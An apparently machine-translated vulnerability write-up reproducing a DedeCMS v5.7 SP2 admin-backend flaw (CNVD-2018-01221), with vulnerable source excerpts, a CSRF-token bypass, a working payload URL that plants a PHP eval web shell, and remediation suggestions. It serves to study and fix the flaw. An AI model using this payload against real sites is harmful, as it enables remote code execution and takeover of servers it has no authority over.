dedeCMS background upload getshell vulnerability (CNVD-2018-01221) recurrence

Vulnerability Name:
CNVD-2018-01221

Influence:
Dedecms v5.7 sp2

Harm:
Arbitrary code execution, getshell;

preparation:
win7 virtual machine + Dedecms v5.7 sp2+phpstudy
First install Dedecms v5.7 sp2:

http://www.dedecms.com

After downloading and installing, directly visit localhost/Dedecms v5.7 sp2/uploads
It will automatically jump to the installation interface, input the database information, and all the default configurations are OK.
Then log in at the background. The default account is admin, and the password is admin.

Recurrence process:

payload:
Domain name / TPL. PHP? Action = savetagfile & token = & filename = ABC. Lib. PHP & content = < PHP @ Eval ($_post ['xxx '])? >
The connection address of Chinese kitchen knife is:
http://192.168.91.141/DedeCMS-V5.7-UTF8-SP2/uploads/include/taglib/abc.lib.php

Principle analysis:

Through the open source vulnerability, we know that the vulnerability is located in / uploads/dede/tpl.php. Open tpl.php to view the source code. This is where the vulnerability occurs:
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('Illegal file name, operation not allowed!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);
    ...
    exit();
}

Information can be obtained from the above source code:
If the action parameter we passed in is savetagfile, the crsf ﹣ check function will be checked.
crsf_check:

function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

This is the test of session. If you need to bypass the if, you need to set the token, and the value of the token is session. In tpl.php, the session is only obtained when action=upload.

else if ($action == 'upload')
{
    require_once(dirname(__FILE__).'/../include/oxwindow.class.php');
    $acdir = str_replace('.', '', $acdir);
    $win = new OxWindow();
    make_hash();
    $win->Init("tpl.php","js/blank.js","POST' enctype='multipart/form-data' ");
    $win->mainTitle = "Module management";
    $wecome_info = "<a href='templets_main.php'>Template management</a> &gt;&gt; Upload template";
    $win->AddTitle('Please select the file to upload:');
    $win->AddHidden("action",'uploadok');
    $msg = "
    <table width='600' border='0' cellspacing='0' cellpadding='0'>
  <tr>
    <td width='96' height='60'>Please select a file:</td>
    <td width='504'>
        <input name='acdir' type='hidden' value='$acdir'  />
        <input name='token' type='hidden' value='{$_SESSION['token']}'  />
        <input name='upfile' type='file' id='upfile' style='width:380px' />
      </td>
  </tr>
 </table>
    ";
    $win->AddMsgItem("<div style='padding-left:20px;line-height:150%'>$msg</div>");
    $winform = $win->GetWindow('ok','');
    $win->Display();
    exit();
}

So let's first make action=upload and check the source code to get the session:

In this way, we can construct: token=0f94451b9ba02137db944f04d87bc8ec to bypass crsf ﹣ u check.
tpl.php tells us that the parameters to be uploaded are: action,token,filename,content.
And filename must have. lib and. php, and the path to generate the file is under / taglib /, that is, under uploads\include\taglib
So payload s are constructed:

url/uploads/dede/tpl.php?action=savetagfile&token=yoursession&filename=1.lib.php&content=<?php eval($_POST['cmd']);?>

Vulnerability remediation:

1. Change the action=upload part of tpl.php to:

<td width='96' height='60'>Please select a file:</td>
    <td width='504'>
        <input name='acdir' type='hidden' value='$acdir'  />
        <input name='token' type='hidden' value=''  />//Delete {$_SESSION['token ']} here
        <input name='upfile' type='file' id='upfile' style='width:380px' />
      </td>
  </tr>

If the session cannot be found, it will be checked by crsf ﹣ check, but the security is not high.
2. In fact, the function of uploading executable files is very dangerous, but it is not necessary to use this function; then filter the user's input and try to filter the danger field or danger tag (but there is always a way around it).
3. You can try to change the name of the uploaded file to a random number, which is relatively safe.

Keywords: PHP Session Database

Added by turek on Sun, 27 Oct 2019 12:26:02 +0200